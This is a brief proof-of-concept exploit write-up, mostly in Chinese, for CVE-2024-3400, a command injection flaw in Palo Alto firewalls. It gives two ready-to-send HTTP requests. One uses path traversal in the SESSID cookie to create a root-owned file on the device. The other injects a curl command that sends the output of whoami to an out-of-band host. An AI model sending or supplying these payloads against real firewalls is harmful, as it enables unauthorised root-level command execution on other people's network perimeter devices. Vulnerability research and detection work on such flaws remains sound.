
Proof-of-concept exploit for CVE-2024-3400, a command injection vulnerability in Palo Alto firewalls, demonstrating file creation and remote command execution via crafted HTTP requests.
CVE-2024-3400 是一个存在于 Palo Alto 防火墙系统中的命令注入漏洞。攻击者通过精心构造的 HTTP 请求,能够在目标服务器上执行恶意命令,甚至获取 root 权限。
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
发送这个请求后,您将在服务器上创建名为 hellome1337.txt 的文件,并且该文件会拥有 root 权限。
截图展示了此漏洞利用过程中的效果:


为了利用该漏洞执行命令注入,您可以发送如下 HTTP 请求:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
此请求会在服务器上执行 whoami 命令,并将结果发送到指定的远程服务器(例如:xxxxxxxxxxxxxxxxx.oast.fun)。